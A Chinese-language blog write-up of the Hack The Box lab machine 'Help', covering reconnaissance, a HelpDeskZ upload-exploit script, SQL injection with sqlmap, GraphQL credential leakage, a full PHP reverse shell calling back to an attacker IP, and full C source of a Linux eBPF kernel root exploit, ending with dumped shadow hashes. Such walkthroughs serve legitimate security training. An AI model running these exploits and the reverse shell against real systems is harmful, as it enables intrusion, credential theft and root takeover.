[HTB]3、help靶场笔记
2024-12-26 11:34 feee1 阅读(256) 评论(0) 收藏 举报1、信息收集
└──╼ [★]$ sudo nmap -sV -sC 10.10.10.121 -oA nmap121.nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-19 00:53 CST
Nmap scan report for 10.10.10.121
Host is up (0.0020s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://help.htb/
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds
2、80端口
先去看80的http页面

自动跳转到了help.htb页面,注意可能是内网页面,需要在hosts文件中修改
C:\Windows\System32\drivers\etc\hosts
/etc/hosts

打开后发现是apache ubuntu的默认页面
照例先扫一下后台

注意到两个重定向,其中support页面比较可疑:

搜一下helpdeskz

辅助票据系统,没看懂
Helpdesk,也称为技术支持服务,是一种为用户提供技术帮助和问题解决的服务。它通常由专门的技术支持团队或IT部门管理,旨在帮助用户解决与硬件、软件或网络相关的问题。
Helpdesk的主要任务是通过电话、电子邮件、在线聊天或其他远程通信工具与用户进行沟通和交流。当用户遇到技术问题或困扰时,他们可以通过Helpdesk联系到专门的技术支持人员,寻求帮助和解决方案。
看了眼解析:

quick google search (呵)
扫描一下



这几个都有点参考性
最后筛选信息:license没用
readme.html和github上面的readme是一样的

另一个readme.md有点用

暴露了版本号1.0.2,同时里面提到了UPGTADING.txt

挨个打开:
/views/client/site.html

看不出来有啥问题,组件漏洞搜一下:

挨个看,先看文件上传的
import hashlib
import sys
import requests
import datetime
from tqdm import tqdm # 用于显示进度条
from concurrent.futures import ThreadPoolExecutor, as_completed
print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')
if len(sys.argv) < 3:
print("Usage {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0]))
sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
# 获取服务器的当前时间以防止时区错误 - DoctorEww
r = requests.get(helpdeskzBaseUrl)
currentTime = int((datetime.datetime.strptime(r.headers['date'], '%a, %d %b %Y %H:%M:%S %Z') - datetime.datetime(1970, 1, 1)).total_seconds())
# 定义一个函数,用于尝试每个哈希值
def try_hash(offset):
plaintext = fileName + str(currentTime - offset)
md5hash = hashlib.md5(plaintext.encode('utf-8')).hexdigest()
url = helpdeskzBaseUrl + md5hash + '.php'
response = requests.head(url)
if response.status_code == 200:
return url
return None
# 设置并行线程数
max_workers = 10
# 使用线程池并行处理
with ThreadPoolExecutor(max_workers=max_workers) as executor:
# 提交所有的任务
futures = {executor.submit(try_hash, x): x for x in range(0, 300)}
# 使用 tqdm 显示进度条
with tqdm(total=300, desc="Bruteforce Progress", ncols=80, unit="attempt") as pbar:
for future in as_completed(futures):
result = future.result()
pbar.update(1)
if result:
print('\nfound!')
print(result)
sys.exit(0)
print('Sorry, I did not find anything')
网上的脚本是python2的,改了一下:增加并行和进度条
漏洞介绍很简单
HelpDeskZ = v1.0.2 存在未经身份验证的 shell 上传漏洞。
默认配置下的软件允许上传 .php 文件 (!!)。我认为开发人员认为这没有风险,因为文件名在上传时会被混淆。但上传文件的重命名功能存在弱点
控制器 httpsgithub.comevolutionscriptHelpDeskZ-1.0tree006662bb856e126a38f2bb76df44a2e4e3d37350controllerssubmit_ticket_controller.php - 第 141 行
$filename = md5($_FILES['附件']['名称'].time())...$ext;
那么通过猜测文件上传的时间,我们就可以得到RCE。
重现步骤
httplocalhosthelpdeskzv=submit_ticket&action=displayForm
在必填字段中输入任何内容,附加您的 phpshell.php,解决验证码并提交您的票证。
使用 HelpdeskZ-Installation 的基本 url 和您上传的文件的名称调用此脚本
利用.py httplocalhosthelpdeskz phpshell.php
意思就是,上传的文件名的随机序列是有规律的,可以去猜规律
测出来了,全程充满了坎坷,在各种搜索之后明白了:
:::info
1、注意路径,应该是在/support/uploads/tickets/的相对路径,注意tickets后面要有斜杠,因为脚本拼接是直接加在后面的
2、上传有概率出现检测到xss,不用管,刷新重新上传显示文件不允许(实际上已经上传了,很迷惑)
:::
python fileupload.py http://help.htb/support/uploads/tickets/ 111.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
Bruteforce Progress: 5%|▊ | 15/300 [00:00<00:11, 25.30attempt/s]
found!
http://help.htb/support/uploads/tickets/94dfc1320aff25450e969ef32bbb3f43.php
Bruteforce Progress: 5%|▊ | 16/300 [00:00<00:12, 23.32attempt/s]
连上php木马看一下:

一点毛病没有[汤圆]
HelpDeskZ <= v1.0.2 存在 SQL 注入漏洞,该漏洞允许检索管理员访问数据并下载未经授权的附件。
提交票证后,软件允许通过输入以下链接下载附件:
文件:view_tickets_controller.php
第 95 行:$attachment = $db->fetchRow("SELECT *, COUNT(id) AS Total FROM ".TABLE_PREFIX."attachments WHERE id=".$db->real_escape_string($params[2])." AND Ticket_id =".$params[0]." AND msg_id=".$params[3]);
第三个参数 AND msg_id=".$params[3]; 发送到 fetchRow 查询,没有任何敏化
重现步骤:
通过输入 param[] 的有效 ID(我们提交的票证 ID)并在请求末尾添加我们的查询,我们就可以下载任何上传的附件。
使用 HelpdeskZ-Installation 的基本 url 调用此脚本,并输入您提交的票证登录数据(电子邮件、密码)
步骤:
1. 访问http://192.168.100.115/helpdesk/?v=submit_ticket
2. 使用有效的电子邮件提交票证(重要的是我们需要密码访问)。
3. 将附件添加到我们的工单中(重要的一步,因为附件表可能为空,我们在数据库中至少需要 1 个附件才能验证我们的查询)。
4. 从电子邮件中获取密码。
4.运行脚本
//TODO 还没测
//时隔两天,来测一下
- 首先要上传一个ticket,需要有附件,这个ticket需要是由3000端口graphql的漏洞获取的那个(这就导致了这个洞利用有点难,文件上传一把梭了)
- 这个注入点获取了账号密码之后也许能想到
- 在上传tickets之后,在我的ticket界面打开,会看到有个附件,点击附件后,会弹出新窗口,链接是附件
- 在请求附件的请求后面加上 and 1=1 --+ 和 and 1=-1 --+结果是不一样的,说明有报错
- 这里又遇到一个小问题:
- 在burp请求报文上面加and 1=1+ 和 hackbar/地址栏直接加 不一样,后者可以测试出,但是Burp就不行了(重放一样)
- 经测试,浏览器(hackbar)加上这一句之后会有隐式的url编码,但burp不会对输入内容再次编码,所以识别不了,同时还发现hackbar改完的报文是没有refer字段的(但是也能成功。。),推测应该是没有上下文参考能力,参考:https://www.cnblogs.com/r0nGer/articles/15946949.html
- 但是获取这个这个表名就很坑了,wp里面说的是表名是staff(按照wp的说法是去Github的源码审计一下,指定的是:https://github.com/evolutionscript/HelpDeskZ-1.0/blob/master/controllers/login_controller.php 然鹅这个被删了,去github搜到helpdeskz的1.0.2版本文件里面。所有表名用.Table.Prefix.代替了,应该是知道默认表名泄露了)
- wp做法是:
http://help.htb/support/?
v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 and
(select (username) from staff limit 0,1) = 'admin'-- -
http://help.htb/support/?
v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 and
substr((select password from staff limit 0,1),1,1) = 'd'-- -
布尔盲注嘛,猜字段名
- 这里懒一点,sqlmap一把梭了(实测,sqlmap不指定表名是能注入成功的,但是第一遍测,顺手指定了)
sqlmap -u "http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6"
-T staff --cookie PHPSESSID=01ru0unactg16k57i8j6b5cvd5
//指定token是有必要的,因为测文件上传的时候看到了,有csrf校验
[10:45:25] [INFO] checking if the injection point on GET parameter 'param[]' is a false positive
GET parameter 'param[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 487 HTTP(s) requests:
---
Parameter: param[] (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 AND 4879=4879
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 AND (SELECT 2109 FROM (SELECT(SLEEP(5)))KiBQ)
---
[10:45:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (xenial or yakkety)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[10:45:30] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/help.htb'
sqlmap -u "http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6" -T staff --cookie PHPSESSID=01ru0unactg16k57i8j6b5cvd5 --dbs
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] support
[*] sys
[10:48:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/help.htb'
sqlmap -u "http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6" -T staff --cookie PHPSESSID=01ru0unactg16k57i8j6b5cvd5 -D support --tables -threads 10
Database: support
[19 tables]
+------------------------+
| articles |
| attachments |
| canned_response |
| custom_fields |
| departments |
| emails |
| error_log |
| file_types |
| knowledgebase_category |
| login_attempt |
| login_log |
| news |
| pages |
| priority |
| settings |
| staff |
| tickets |
| tickets_messages |
| users |
+------------------------+
sqlmap -u "http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6" -T staff --cookie PHPSESSID=01ru0unactg16k57i8j6b5cvd5 -D support --dump -threads 10
3、3000端口
很抽象,我是一点没看出来怎么推理到的,看了wp
根据nmap的指纹/在该页面的返回包,可以看到是nodejs press framework
打开网页,只有一句话

重点:根据query expressjs language 搜到图形化查询语言graphql(不懂但是大受震撼)
知道了graphql,当后缀试一下
打开确实有东西:

很显然,说是GET参数query缺失,尝试传一个:

根据graphql的查询语句语法,尝试去查询
graphql查询有点像json的结构,子结构用{}花括号表示
随便搜几个


知道了有个User表,还有query表
和sql注入一样,有schema表
┌──(root㉿DESKTOP-VGLULQV)-[~]
└─# curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={__schema{types{name fields{name}}}}" | jq
{
"data": {
"__schema": {
"types": [
{
"name": "Query",
"fields": [
{
"name": "user"
}
]
},
{
"name": "User",
"fields": [
{
"name": "username"
},
{
"name": "password"
}
]
},
{
"name": "String",
"fields": null
},
{
"name": "__Schema",
"fields": [
{
"name": "types"
},
{
"name": "queryType"
},
{
"name": "mutationType"
},
{
"name": "subscriptionType"
},
{
"name": "directives"
}
]
},
{
"name": "__Type",
"fields": [
{
"name": "kind"
},
{
"name": "name"
},
{
"name": "description"
},
{
"name": "fields"
},
{
"name": "interfaces"
},
{
"name": "possibleTypes"
},
{
"name": "enumValues"
},
{
"name": "inputFields"
},
{
"name": "ofType"
}
]
},
{
"name": "__TypeKind",
"fields": null
},
{
"name": "Boolean",
"fields": null
},
{
"name": "__Field",
"fields": [
{
"name": "name"
},
{
"name": "description"
},
{
"name": "args"
},
{
"name": "type"
},
{
"name": "isDeprecated"
},
{
"name": "deprecationReason"
}
]
},
{
"name": "__InputValue",
"fields": [
{
"name": "name"
},
{
"name": "description"
},
{
"name": "type"
},
{
"name": "defaultValue"
}
]
},
{
"name": "__EnumValue",
"fields": [
{
"name": "name"
},
{
"name": "description"
},
{
"name": "isDeprecated"
},
{
"name": "deprecationReason"
}
]
},
{
"name": "__Directive",
"fields": [
{
"name": "name"
},
{
"name": "description"
},
{
"name": "locations"
},
{
"name": "args"
}
]
},
{
"name": "__DirectiveLocation",
"fields": null
}
]
}
}
}
注意到,username和password
┌──(root㉿DESKTOP-VGLULQV)-[~]
└─# curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user{username}}" | jq
{
"data": {
"user": {
"username": "helpme@helpme.com"
}
}
}
┌──(root㉿DESKTOP-VGLULQV)-[~]
└─# curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user{password}}" | jq
{
"data": {
"user": {
"password": "5d3c93182bb20f07b994a7f617e99cff"
}
}
}
密码哈希一下:godhelpmeplz
试一下ssh密码,不太行
4、进攻
80端口已经传上木马了,蚁剑连接,测试发现蚁剑的命令行功能有限,利用蚁剑进一步反弹shell
php反弹shell代码如下:
地址:https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
<?php
// php-reverse-shell - 一个用于实现反向Shell的PHP脚本
// 作者:pentestmonkey
// 仅供合法用途,用户需对使用此脚本造成的任何后果负责。
set_time_limit(0); // 设置脚本执行时间为无限制,避免超时。
$VERSION = "1.0"; // 定义版本号。
$ip = '10.10.16.5'; // 攻击者的IP地址,需要手动更改。
$port = 4444; // 攻击者监听的端口号,需要手动更改。
$chunk_size = 1400; // 每次读取或写入的最大数据大小,单位是字节。
$write_a = null; // 初始化写入流的数组变量。
$error_a = null; // 初始化错误流的数组变量。
$shell = 'uname -a; w; id; /bin/sh -i'; // 执行的Shell命令,提供交互式Shell。
$daemon = 0; // 用于标记是否成功守护化。
$debug = 0; // 调试模式标记,0表示关闭调试。
// 守护化进程:尝试通过fork和setsid使脚本在后台运行
if (function_exists('pcntl_fork')) { // 检查是否支持`pcntl_fork`函数。
$pid = pcntl_fork(); // 创建子进程。
if ($pid == -1) { // 检查fork是否失败。
printit("ERROR: Can't fork"); // 打印错误信息。
exit(1); // 退出脚本。
}
if ($pid) { // 父进程分支。
exit(0); // 父进程退出。
}
if (posix_setsid() == -1) { // 将子进程设置为会话组长,完全脱离终端。
printit("Error: Can't setsid()");
exit(1); // 失败时退出。
}
$daemon = 1; // 成功守护化。
} else {
printit("WARNING: Failed to daemonise. 这是常见情况,不是致命错误。");
}
// 设置安全环境
chdir("/"); // 切换到根目录,避免意外操作当前工作目录。
umask(0); // 清除继承的文件权限掩码。
// 建立反向连接:通过fsockopen连接到攻击者的监听服务
$sock = fsockopen($ip, $port, $errno, $errstr, 30); // 尝试建立TCP连接。
if (!$sock) { // 检查连接是否失败。
printit("$errstr ($errno)"); // 打印错误信息。
exit(1); // 退出脚本。
}
// 启动子进程以提供Shell访问
$descriptorspec = array( // 描述符数组,定义子进程的标准输入、输出和错误输出。
0 => array("pipe", "r"), // 标准输入。
1 => array("pipe", "w"), // 标准输出。
2 => array("pipe", "w") // 标准错误。
);
$process = proc_open($shell, $descriptorspec, $pipes); // 启动子进程,执行Shell命令。
if (!is_resource($process)) { // 检查进程是否创建成功。
printit("ERROR: Can't spawn shell");
exit(1); // 如果失败则退出。
}
// 设置流为非阻塞模式
stream_set_blocking($pipes[0], 0); // 设置子进程标准输入为非阻塞。
stream_set_blocking($pipes[1], 0); // 设置子进程标准输出为非阻塞。
stream_set_blocking($pipes[2], 0); // 设置子进程标准错误为非阻塞。
stream_set_blocking($sock, 0); // 设置Socket为非阻塞。
printit("Successfully opened reverse shell to $ip:$port");
// 主循环:不断处理Socket和子进程之间的数据传输
while (1) {
if (feof($sock)) { // 检查Socket连接是否关闭。
printit("ERROR: Shell connection terminated");
break; // 退出循环。
}
if (feof($pipes[1])) { // 检查子进程标准输出是否关闭。
printit("ERROR: Shell process terminated");
break; // 退出循环。
}
$read_a = array($sock, $pipes[1], $pipes[2]); // 定义需要读取的流。
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // 等待流变为可读。
if (in_array($sock, $read_a)) { // 如果Socket有数据可读。
$input = fread($sock, $chunk_size); // 从Socket读取数据。
fwrite($pipes[0], $input); // 写入子进程标准输入。
}
if (in_array($pipes[1], $read_a)) { // 如果子进程标准输出有数据可读。
$input = fread($pipes[1], $chunk_size); // 从标准输出读取数据。
fwrite($sock, $input); // 通过Socket发送给攻击者。
}
if (in_array($pipes[2], $read_a)) { // 如果子进程标准错误有数据可读。
$input = fread($pipes[2], $chunk_size); // 从标准错误读取数据。
fwrite($sock, $input); // 通过Socket发送给攻击者。
}
}
// 关闭所有资源
fclose($sock); // 关闭Socket连接。
fclose($pipes[0]); // 关闭子进程标准输入。
fclose($pipes[1]); // 关闭子进程标准输出。
fclose($pipes[2]); // 关闭子进程标准错误。
proc_close($process); // 关闭子进程。
// 打印信息的辅助函数
function printit($string) { // 用于打印调试信息的函数。
global $daemon; // 使用全局变量以检查是否守护化。
if (!$daemon) { // 如果未守护化,打印到标准输出。
print "$string\n";
}
}
?>
由于我想偷懒,在windows同时也使用kali的软件,很显然,如果使用虚拟机,不能同时用windows软件,如果在主机使用openvpn,反弹shell虚拟机需要设置端口转发,所以使用wsl2配合windows,在反弹shell时安装一下windows版本的netcat,教程:https://blog.csdn.net/muriyue6/article/details/107127217
在kali中使用curl命令,请求反弹shell文件,于是靶机shell会被持续发送到本机中(注意顺序,先开启监听,再进行请求)
curl http://help.htb/support/uploads/tickets/2ec82313922d7403ba74f7569ecf65ca.php
// 在一句话基础上通过蚁剑传输文件,可以简化文件名
C:\Users\username>nc -l -p 4444\
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
00:15:04 up 5:05, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
/bin/sh: 0: can't access tty; job control turned off
$ python -c "import pty;pty.spawn('/bin/bash')"
help@help:/$ ls
注意这里的:
python -c "import pty;pty.spawn('/bin/bash')"
命令 python -c "import pty; pty.spawn('/bin/bash')" 是一种在 Python 中启动伪终端(pseudo-terminal)并运行 /bin/bash 的方式。这通常用于在受限环境中获得一个更交互式的 shell,尤其是在你只有有限的命令行访问权限时。
以下是该命令的工作原理:
Python解释器:python -c 选项允许你直接在命令行上执行一段 Python 代码。
PTY模块:pty 模块是 Python 标准库的一部分,它提供了对伪终端的支持。伪终端可以模拟实际的终端设备,使应用程序认为它们正在与真实的终端交互。
spawn函数:pty.spawn() 函数会创建一个新的子进程,并将标准输入、输出和错误连接到这个伪终端。在这个例子中,它启动了 /bin/bash,即 GNU/Linux 系统上的 Bash shell。
实测,如果不升级终端,后面有些步骤会卡住
5、提权 Privilege Escalation
看了wp,太菜了,看了一圈尝试用之前的bastion的应用版本漏洞,没啥进展
uname -a命令查看系统内核版本

4.4.0-116-generic ubuntu
去看看版本漏洞,我试了两个(这里我觉得有点坑,<116版本那不是116版本修了吗,结果116版本正好有,有点迷惑)

很显然,12346 9 10版本筛掉
试了5和7,5是wp上的,7确实也没成功
用蚁剑传一份源码过去,wp中用的是本机地址,靶机wget获取编译好的exe,懒得搞了,靶机有gcc
源码:https://www.exploit-db.com/exploits/44298
/*
* Ubuntu 16.04.4 kernel priv esc
*
* all credits to @bleidl
* - vnik
*/
// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>
#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328
int sockets[2];
int mapfd, progfd;
char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x18\x19\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x06\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x07\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x08\x00\x00\x00\x00\x00\x00"
"\xbf\x02\x00\x00\x00\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x03\x00\x00\x00\x00\x00"
"\x79\x73\x00\x00\x00\x00\x00\x00"
"\x7b\x32\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x02\x00\x01\x00\x00\x00"
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x7b\x87\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00";
char bpf_log_buf[LOG_BUF_SIZE];
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
if (progfd < 0)
__exit(strerror(errno));
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
}
static void writemsg(void) {
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();
static uint64_t get_value(int key) {
uint64_t value;
if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));
return value;
}
static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);
return get_value(2);
}
static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0);
return get_value(2);
}
static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}
static uint64_t get_sp(uint64_t addr) {
return addr & ~(0x4000 - 1);
}
static void pwn(void) {
uint64_t fp, sp, task_struct, credptr, uidptr;
fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");
sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");
task_struct = __read(sp);
if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");
printf("task_struct = %lx\n", task_struct);
credptr = __read(task_struct + CRED_OFFSET); // cred
if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");
uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");
printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); // set both uid and gid to 0
if (getuid() == 0) {
printf("spawning root shell\n");
system("/bin/bash");
exit(0);
}
__exit("not vulnerable?");
}
int main(int argc, char **argv) {
prep();
pwn();
return 0;
}
gcc pwn.c -o pwn
chmod +7 pwn
./pwn //如果不是升级版的shell,就会卡住
help@help:/var/www/html/support/uploads/tickets$ ./pwn
./pwn
task_struct = ffff88003b591c00
uidptr = ffff88003d0bac04
spawning root shell
就拿到服务器管理员权限了
root@help:/etc# cat shadow
cat shadow
root:$6$OxFeoGGt$laTXWqq0HJhwOOJEIeBs/NpU9gWaE2CFrJt3auuJKMTos.DtoiPxEt2FIqXJLtmgLcO1TXOkIyMf/Kbb3dcSX.:17863:0:99999:7:::
daemon:*:17743:0:99999:7:::
bin:*:17743:0:99999:7:::
sys:*:17743:0:99999:7:::
sync:*:17743:0:99999:7:::
games:*:17743:0:99999:7:::
man:*:17743:0:99999:7:::
lp:*:17743:0:99999:7:::
mail:*:17743:0:99999:7:::
news:*:17743:0:99999:7:::
uucp:*:17743:0:99999:7:::
proxy:*:17743:0:99999:7:::
www-data:*:17743:0:99999:7:::
backup:*:17743:0:99999:7:::
list:*:17743:0:99999:7:::
irc:*:17743:0:99999:7:::
gnats:*:17743:0:99999:7:::
nobody:*:17743:0:99999:7:::
systemd-timesync:*:17743:0:99999:7:::
systemd-network:*:17743:0:99999:7:::
systemd-resolve:*:17743:0:99999:7:::
systemd-bus-proxy:*:17743:0:99999:7:::
syslog:*:17743:0:99999:7:::
_apt:*:17743:0:99999:7:::
messagebus:*:17862:0:99999:7:::
uuidd:*:17862:0:99999:7:::
help:$6$Tsia2Jca$DZzILaq4zZtu6iehU.Qq3z2Nz849r9atqYsVFAIsKVPgCZ8u6OOiiaV1gGunFFBEzD2iWgDc.Dk3jiM8mOC.l1:17863:0:99999:7:::
sshd:*:17862:0:99999:7:::
mysql:!:17862:0:99999:7:::
Debian-exim:!:17863:0:99999:7:::
浙公网安备 33010602011771号